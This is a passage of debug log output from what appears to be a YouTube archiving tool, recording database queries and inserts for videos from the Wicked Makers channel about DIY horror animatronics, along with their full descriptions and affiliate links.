own Halloween FNAF animatronics, or just love horror props from Poppy Playtime, FNAF, or anything spooky—this project is filled with inspiration. We’ll walk you through the full build process, share tips for working with foam, servo motors, LEDs, and how to make terrifying DIY Halloween decorations. Subscribe for more Wicked DIY builds and join us in making Halloween year round!\n\nStay Wicked!\n\n\n#FNAF\n#Animatronics\n#FiveNightsAtFreddys", "Surviving Overnight with a real ENNARD Animatronic!", "d1c6ba31-c3ae-43db-b4c0-9397b3b2c13f", "c0z4AD7VA4Y", false, "https://www.youtube.com/watch?v=c0z4AD7VA4Y", 35, [], 1071, false, 11, "/downloads/shows/Wicked Makers/Season 2025/s2025e022700 - Surviving Overnight with a real ENNARD Animatronic!.mp4", false, false, 98, ~U[2025-02-27 21:06:35Z], ~U[2026-06-02 17:42:05Z], ~U[2026-06-02 17:42:05Z], "Head to https://squarespace.com/wickedmakers to save 10% off your first purchase of a website or domain using code WICKEDMAKERS. -- Jay and Jaimie build a real ENNARD animatronic and survive the night with it!\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\n\nYou Can Support Our Videos! ► https://patreon.com/wickedmakers\n\nJoin our Community on Discord & Facebook ►\nhttps://discord.gg/wickedmakers\nhttps://www.facebook.com/groups/439135431429446\n\nSpecial thanks to @EvanAndKatelyn and @BeardlessProps!\n\nJoin our Community on Discord & Facebook ►\nhttps://discord.gg/wickedmakers\nhttps://www.facebook.com/groups/439135431429446\n\nOur Favorite 3D Printer ► https://shrsl.com/4a3kf\nOur Favorite 3D Printing Filament ► https://collabs.shop/llx8l1\n\nOUR CAMERA/FILMING GEAR ►\nOur Main Camera: https://amzn.to/3PEaILC\nSecondary Camera: https://amzn.to/46jDrfF (or iPhone)\nMicrophones: https://amzn.to/3rBM5XO\nMost Used Lens: https://amzn.to/3LMWhng\nMain Tripod: https://amzn.to/46q8WV4\nLight #1: https://amzn.to/3Q0lVX5\nLight #2 (cheaper): https://amzn.to/3PJzBp0\nC-Stands: https://amzn.to/3LMamB8\nColored Lights (mounted): https://amzn.to/3PEKfgS\nColored Lights (handheld): https://amzn.to/3F1fJc3\nSoftbox: https://amzn.to/46zLTal\nSoftbox Lantern: https://amzn.to/46wtJ9x\nGimbal: https://amzn.to/3ZHgNv5\nCamera Bag (for travel): https://amzn.to/46cHdY1\n\nWe turned Ennard from Five Nights at Freddy’s into a fully functional DIY Halloween animatronic, and then we survived the night with it in our bedroom! This chaotic challenge was packed with late nights, over 500 ft of wire loom conduit, and more hot glue than we care to admit. If you're looking for creepy Halloween ideas, over-the-top DIY Halloween props, or just want to see what happens when two horror-obsessed makers (Jay and Jaimie from Wicked Makers) go all-in on their scariest animatronic makeover yet — this one's for you. It’s a FNAF-inspired horror prop with major Halloween decor vibes, and the end result is one of the creepiest animatronics we’ve ever made!\n\nWhether you're decorating your haunted house, building your own Halloween FNAF animatronics, or just love horror props from Poppy Playtime, FNAF, or anything spooky—this project is filled with inspiration. We’ll walk you through the full build process, share tips for working with foam, servo motors, LEDs, and how to make terrifying DIY Halloween decorations. Subscribe for more Wicked DIY builds and join us in making Halloween year round!\n\nStay Wicked!\n\n\n#FNAF\n#Animatronics\n#FiveNightsAtFreddys", "Surviving Overnight with a real ENNARD Animatronic!", "c0z4AD7VA4Y", "https://www.youtube.com/watch?v=c0z4AD7VA4Y", 35, 1071, false, "/downloads/shows/Wicked Makers/Season 2025/s2025e022700 - Surviving Overnight with a real ENNARD Animatronic!.mp4", false, ~U[2025-02-27 21:06:35Z]] 13:42:05.650 [debug] QUERY OK source="sources" db=0.2ms idle=77.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [35] 13:42:05.650 [debug] QUERY OK source="media_profiles" db=0.2ms idle=5.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 13:42:05.651 [debug] QUERY OK source="media_items" db=0.2ms idle=4.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [122445] 13:42:05.651 [debug] Current batch of media processed. Will check again in 1000ms 13:42:06.651 [debug] Current batch of media processed. Will check again in 1000ms 13:42:07.652 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Head to https://squarespace.com/wickedmakers to save 10% off your first purchase of a website or domain using code WICKEDMAKERS. Jay and Jaimie build a Poppy Playtime Escape Room to trap their friends Evan and Katelyn! Will they make it out??\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\n\nSupport Our Videos: ► https://patreon.com/wickedmakers\n\nGet Poppy Playtime Chapter 4: ►https://huggywug.co/4hADvwL\n\nJoin our Community on Discord & Facebook ►\nhttps://discord.gg/wickedmakers\nhttps://www.facebook.com/groups/439135431429446\n\nSpecial thanks to @EvanAndKatelyn!\n\nMATERIALS/STUFF WE USED ► \nBook of Bill - https://amzn.to/4eOHl3M\nOur Favorite 3D Printer ► https://shrsl.com/4a3kf\nEVA Foam - https://amzn.to/4995bG0\nRope Light - https://amzn.to/3V6x3Vl\n3D Print Coating Resin - https://amzn.to/3B2MsPM\nAcrylic Paints - https://amzn.to/3ZoarT1\nSpackle - https://amzn.to/3ZqZQqw\nGorilla Glue - https://amzn.to/411Sk6A\nMicro Servos - https://amzn.to/4i5O6Rv\nSpeakers - https://amzn.to/3ZoNLlC\nXPS Foam - (Hardware Store)\nDrylok - (Hardware Store)\nMetal - (Hardware Store)\n\nOUR CAMERA/FILMING GEAR ►\nOur Main Camera: https://amzn.to/3PEaILC\nSecondary Camera: https://amzn.to/46jDrfF (or iPhone)\nMicrophones: https://amzn.to/3rBM5XO\nMost Used Lens: https://amzn.to/3LMWhng\nMain Tripod: https://amzn.to/46q8WV4\nLight #1: https://amzn.to/3Q0lVX5\nLight #2 (cheaper): https://amzn.to/3PJzBp0\nC-Stands: https://amzn.to/3LMamB8\nColored Lights (mounted): https://amzn.to/3PEKfgS\nColored Lights (handheld): https://amzn.to/3F1fJc3\nSoftbox: https://amzn.to/46zLTal\nSoftbox Lantern: https://amzn.to/46wtJ9x\nGimbal: https://amzn.to/3ZHgNv5\nCamera Bag (for travel): https://amzn.to/46cHdY1\n\nLast year we built a life-sized DogDay animatronic from Poppy Playtime. It was amazing and HUGE, but we had one problem - what do we do with it? He sat in a dark storage facility for a while (probably hiding from CatNap) until we heard that Poppy Playtime Chapter 4 was coming out and we got inspired. We wanted to make an interactive experience, like you were playing the game in real life, so we built a POPPY PLAYTIME Escape Room! Since Poppy Playtime has so many awesome puzzles, we decided an Escape Room would be perfect!\n\nWe built the rest of DogDay’s jail cell, filled it with puzzles, traps, and a few surprises, and invited our friends Evan and Katelyn to be our prisoners. With only 20 minutes, and DogDay to guide them, will they escape before time runs out? Let the games begin!\n\nWe had a ton of fun building our DogDay escape room. It was a great way to give a custom Halloween animatronic a life of its own. Let us know what you want us to build next!\n\nStay Wicked!\n❤️ Jaimie & Jay\n\n#DogDay\n#PoppyPlaytime\n#EscapeRoom", "duration" => 1010, "filename" => "/downloads/shows/Wicked Makers/Season 2025/s2025e012900 - Surviving Poppy Playtime In Real Life!.mp4", "id" => "nnGeD3NoThc", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=nnGeD3NoThc", "playlist_index" => 12, "timestamp" => 1738184433, "title" => "Surviving Poppy Playtime In Real Life!", "upload_date" => "20250129"} 13:42:07.653 [debug] QUERY OK source="sources" db=0.2ms idle=657.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [35] 13:42:07.653 [debug] QUERY OK source="sources" db=0.1ms idle=658.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [35] 13:42:07.654 [debug] QUERY OK source="media_items" db=0.4ms idle=658.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-01-29 21:00:33Z], 35] 13:42:07.656 [debug] QUERY OK source="media_items" db=1.4ms idle=659.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Head to https://squarespace.com/wickedmakers to save 10% off your first purchase of a website or domain using code WICKEDMAKERS. Jay and Jaimie build a Poppy Playtime Escape Room to trap their friends Evan and Katelyn! Will they make it out??\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\n\nSupport Our Videos: ► https://patreon.com/wickedmakers\n\nGet Poppy Playtime Chapter 4: ►https://huggywug.co/4hADvwL\n\nJoin our Community on Discord & Facebook ►\nhttps://discord.gg/wickedmakers\nhttps://www.facebook.com/groups/439135431429446\n\nSpecial thanks to @EvanAndKatelyn!\n\nMATERIALS/STUFF WE USED ► \nBook of Bill - https://amzn.to/4eOHl3M\nOur Favorite 3D Printer ► https://shrsl.com/4a3kf\nEVA Foam - https://amzn.to/4995bG0\nRope Light - https://amzn.to/3V6x3Vl\n3D Print Coating Resin - https://amzn.to/3B2MsPM\nAcrylic Paints - https://amzn.to/3ZoarT1\nSpackle - https://amzn.to/3ZqZQqw\nGorilla Glue - https://amzn.to/411Sk6A\nMicro Servos - https://amzn.to/4i5O6Rv\nSpeakers - https://amzn.to/3ZoNLlC\nXPS Foam - (Hardware Store)\nDrylok - (Hardware Store)\nMetal - (Hardware Store)\n\nOUR CAMERA/FILMING GEAR ►\nOur Main Camera: https://amzn.to/3PEaILC\nSecondary Camera: https://amzn.to/46jDrfF (or iPhone)\nMicrophones: https://amzn.to/3rBM5XO\nMost Used Lens: https://amzn.to/3LMWhng\nMain Tripod: https://amzn.to/46q8WV4\nLight #1: https://amzn.to/3Q0lVX5\nLight #2 (cheaper): https://amzn.to/3PJzBp0\nC-Stands: https://amzn.to/3LMamB8\nColored Lights (mounted): https://amzn.to/3PEKfgS\nColored Lights (handheld): https://amzn.to/3F1fJc3\nSoftbox: https://amzn.to/46zLTal\nSoftbox Lantern: https://amzn.to/46wtJ9x\nGimbal: https://amzn.to/3ZHgNv5\nCamera Bag (for travel): https://amzn.to/46cHdY1\n\nLast year we built a life-sized DogDay animatronic from Poppy Playtime. It was amazing and HUGE, but we had one problem - what do we do with it? He sat in a dark storage facility for a while (probably hiding from CatNap) until we heard that Poppy Playtime Chapter 4 was coming out and we got inspired. We wanted to make an interactive experience, like you were playing the game in real life, so we built a POPPY PLAYTIME Escape Room! Since Poppy Playtime has so many awesome puzzles, we decided an Escape Room would be perfect!\n\nWe built the rest of DogDay’s jail cell, filled it with puzzles, traps, and a few surprises, and invited our friends Evan and Katelyn to be our prisoners. With only 20 minutes, and DogDay to guide them, will they escape before time runs out? Let the games begin!\n\nWe had a ton of fun building our DogDay escape room. It was a great way to give a custom Halloween animatronic a life of its own. Let us know what you want us to build next!\n\nStay Wicked!\n❤️ Jaimie & Jay\n\n#DogDay\n#PoppyPlaytime\n#EscapeRoom", "Surviving Poppy Playtime In Real Life!", "706fe5fa-1599-4e44-8fbf-1fb2ba3f4e70", "nnGeD3NoThc", false, "https://www.youtube.com/watch?v=nnGeD3NoThc", 35, [], 1010, false, 12, "/downloads/shows/Wicked Makers/Season 2025/s2025e012900 - Surviving Poppy Playtime In Real Life!.mp4", false, false, 98, ~U[2025-01-29 21:00:33Z], ~U[2026-06-02 17:42:07Z], ~U[2026-06-02 17:42:07Z], "Head to https://squarespace.com/wickedmakers to save 10% off your first purchase of a website or domain using code WICKEDMAKERS. Jay and Jaimie build a Poppy Playtime Escape Room to trap their friends Evan and Katelyn! Will they make it out??\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\n\nSupport Our Videos: ► https://patreon.com/wickedmakers\n\nGet Poppy Playtime Chapter 4: ►https://huggywug.co/4hADvwL\n\nJoin our Community on Discord & Facebook ►\nhttps://discord.gg/wickedmakers\nhttps://www.facebook.com/groups/439135431429446\n\nSpecial thanks to @EvanAndKatelyn!\n\nMATERIALS/STUFF WE USED ► \nBook of Bill - https://amzn.to/4eOHl3M\nOur Favorite 3D Printer ► https://shrsl.com/4a3kf\nEVA Foam - https://amzn.to/4995bG0\nRope Light - https://amzn.to/3V6x3Vl\n3D Print Coating Resin - https://amzn.to/3B2MsPM\nAcrylic Paints - https://amzn.to/3ZoarT1\nSpackle - https://amzn.to/3ZqZQqw\nGorilla Glue - https://amzn.to/411Sk6A\nMicro Servos - https://amzn.to/4i5O6Rv\nSpeakers - https://amzn.to/3ZoNLlC\nXPS Foam - (Hardware Store)\nDrylok - (Hardware Store)\nMetal - (Hardware Store)\n\nOUR CAMERA/FILMING GEAR ►\nOur Main Camera: https://amzn.to/3PEaILC\nSecondary Camera: https://amzn.to/46jDrfF (or iPhone)\nMicrophones: https://amzn.to/3rBM5XO\nMost Used Lens: https://amzn.to/3LMWhng\nMain Tripod: https://amzn.to/46q8WV4\nLight #1: https://amzn.to/3Q0lVX5\nLight #2 (cheaper): https://amzn.to/3PJzBp0\nC-Stands: https://amzn.to/3LMamB8\nColored Lights (mounted): https://amzn.to/3PEKfgS\nColored Lights (handheld): https://amzn.to/3F1fJc3\nSoftbox: https://amzn.to/46zLTal\nSoftbox Lantern: https://amzn.to/46wtJ9x\nGimbal: https://amzn.to/3ZHgNv5\nCamera Bag (for travel): https://amzn.to/46cHdY1\n\nLast year we built a life-sized DogDay animatronic from Poppy Playtime. It was amazing and HUGE, but we had one problem - what do we do with it? He sat in a dark storage facility for a while (probably hiding from CatNap) until we heard that Poppy Playtime Chapter 4 was coming out and we got inspired. We wanted to make an interactive experience, like you were playing the game in real life, so we built a POPPY PLAYTIME Escape Room! Since Poppy Playtime has so many awesome puzzles, we decided an Escape Room would be perfect!\n\nWe built the rest of DogDay’s jail cell, filled it with puzzles, traps, and a few surprises, and invited our friends Evan and Katelyn to be our prisoners. With only 20 minutes, and DogDay to guide them, will they escape before time runs out? Let the games begin!\n\nWe had a ton of fun building our DogDay escape room. It was a great way to give a custom Halloween animatronic a life of its own. Let us know what you want us to build next!\n\nStay Wicked!\n❤️ Jaimie & Jay\n\n#DogDay\n#PoppyPlaytime\n#EscapeRoom", "Surviving Poppy Playtime In Real Life!", "nnGeD3NoThc", "https://www.youtube.com/watch?v=nnGeD3NoThc", 35, 1010, false, "/downloads/shows/Wicked Makers/Season 2025/s2025e012900 - Surviving Poppy Playtime In Real Life!.mp4", false, ~U[2025-01-29 21:00:33Z]] 13:42:07.657 [debug] QUERY OK source="sources" db=0.2ms idle=82.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [35] 13:42:07.657 [debug] QUERY OK source="media_profiles" db=0.1ms idle=4.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 13:42:07.658 [debug] QUERY OK source="media_items" db=0.2ms idle=4.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [122446] 13:42:07.658 [debug] Current batch of media processed. Will check again in 1000ms 13:42:08.659 [debug] Current batch of media processed. Will check again in 1000ms 13:42:09.660 [debug] Current batch of media processed. Will check again in 1000ms 13:42:10.661 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Jaimie and Jay make a real Shin Sonic animatronic from the The Sonic Tapes!\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\n\nDISCORD ► https://discord.gg/wickedmakers\n\nShin Sonic is a twisted, evil version of Sonic the Hedgehog created by Evanimas (https://www.youtube.com/@Evanimas2) for his analogue horror series “The Sonic Tapes”. As huge Sonic and horror fans, we knew we had to bring this cursed character to life.\n\nWe started with a Mickey Mouse Christmas animatronic, but his proportions were way off for Shin Sonic’s unnaturally long limbs. So, we took him apart and welded on custom extensions for his arms and legs. Next, we 3D modeled his head, complete with a massive, tooth-filled mouth featuring double rows of jagged teeth. After a week of 3D printing and painting, his head alone looked like something straight out of a nightmare (and weighed over 13 lbs!)\n\nTo shape his body, we used foam, pool noodles, and duct tape. Everything was then covered in Sonic’s iconic blue fur. Building this guy was a ton of work, but the end result is even more cursed and creepy than we imagined—and we absolutely love it.\n\nWe’re so excited to add Shin Sonic to our little family of DIY horror animatronics alongside Huggy Wuggy and Springtrap. What do you think of our real-life Shin Sonic? And who should we build next? Let us know in the comments and until next time.. Stay wicked! \n\n#ShinSonic \n#Animatronic\n#Sonic", "duration" => 1321, "filename" => "/downloads/shows/Wicked Makers/Season 2025/s2025e011000 - We made Shin Sonic real! (Animatronic).mp4", "id" => "o6AiiIuTuQU", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=o6AiiIuTuQU", "playlist_index" => 13, "timestamp" => 1736548735, "title" => "We made Shin Sonic real! (Animatronic)", "upload_date" => "20250110"} 13:42:10.662 [debug] QUERY OK source="sources" db=0.2ms idle=1665.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [35] 13:42:10.662 [debug] QUERY OK source="sources" db=0.1ms idle=1665.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [35] 13:42:10.663 [debug] QUERY OK source="media_items" db=0.3ms idle=1666.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-01-10 22:38:55Z], 35] 13:42:10.664 [debug] QUERY OK source="media_items" db=1.1ms idle=1087.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Jaimie and Jay make a real Shin Sonic animatronic from the The Sonic Tapes!\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\n\nDISCORD ► https://discord.gg/wickedmakers\n\nShin Sonic is a twisted, evil version of Sonic the Hedgehog created by Evanimas (https://www.youtube.com/@Evanimas2) for his analogue horror series “The Sonic Tapes”. As huge Sonic and horror fans, we knew we had to bring this cursed character to life.\n\nWe started with a Mickey Mouse Christmas animatronic, but his proportions were way off for Shin Sonic’s unnaturally long limbs. So, we took him apart and welded on custom extensions for his arms and legs. Next, we 3D modeled his head, complete with a massive, tooth-filled mouth featuring double rows of jagged teeth. After a week of 3D printing and painting, his head alone looked like something straight out of a nightmare (and weighed over 13 lbs!)\n\nTo shape his body, we used foam, pool noodles, and duct tape. Everything was then covered in Sonic’s iconic blue fur. Building this guy was a ton of work, but the end result is even more cursed and creepy than we imagined—and we absolutely love it.\n\nWe’re so excited to add Shin Sonic to our little family of DIY horror animatronics alongside Huggy Wuggy and Springtrap. What do you think of our real-life Shin Sonic? And who should we build next? Let us know in the comments and until next time.. Stay wicked! \n\n#ShinSonic \n#Animatronic\n#Sonic", "We made Shin Sonic real! (Animatronic)", "43e9ba80-840d-4feb-bdf7-23d69101019f", "o6AiiIuTuQU", false, "https://www.youtube.com/watch?v=o6AiiIuTuQU", 35, [], 1321, false, 13, "/downloads/shows/Wicked Makers/Season 2025/s2025e011000 - We made Shin Sonic real! (Animatronic).mp4", false, false, 98, ~U[2025-01-10 22:38:55Z], ~U[2026-06-02 17:42:10Z], ~U[2026-06-02 17:42:10Z], "Jaimie and Jay make a real Shin Sonic animatronic from the The Sonic Tapes!\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\n\nDISCORD ► https://discord.gg/wickedmakers\n\nShin Sonic is a twisted, evil version of Sonic the Hedgehog created by Evanimas (https://www.youtube.com/@Evanimas2) for his analogue horror series “The Sonic Tapes”. As huge Sonic and horror fans, we knew we had to bring this cursed character to life.\n\nWe started with a Mickey Mouse Christmas animatronic, but his proportions were way off for Shin Sonic’s unnaturally long limbs. So, we took him apart and welded on custom extensions for his arms and legs. Next, we 3D modeled his head, complete with a massive, tooth-filled mouth featuring double rows of jagged teeth. After a week of 3D printing and painting, his head alone looked like something straight out of a nightmare (and weighed over 13 lbs!)\n\nTo shape his body, we used foam, pool noodles, and duct tape. Everything was then covered in Sonic’s iconic blue fur. Building this guy was a ton of work, but the end result is even more cursed and creepy than we imagined—and we absolutely love it.\n\nWe’re so excited to add Shin Sonic to our little family of DIY horror animatronics alongside Huggy Wuggy and Springtrap. What do you think of our real-life Shin Sonic? And who should we build next? Let us know in the comments and until next time.. Stay wicked! \n\n#ShinSonic \n#Animatronic\n#Sonic", "We made Shin Sonic real! (Animatronic)", "o6AiiIuTuQU", "https://www.youtube.com/watch?v=o6AiiIuTuQU", 35, 1321, false, "/downloads/shows/Wicked Makers/Season 2025/s2025e011000 - We made Shin Sonic real! (Animatronic).mp4", false, ~U[2025-01-10 22:38:55Z]] 13:42:10.664 [debug] QUERY OK source="sources" db=0.1ms idle=86.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [35] 13:42:10.665 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 13:42:10.665 [debug] QUERY OK source="media_items" db=0.1ms idle=2.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN 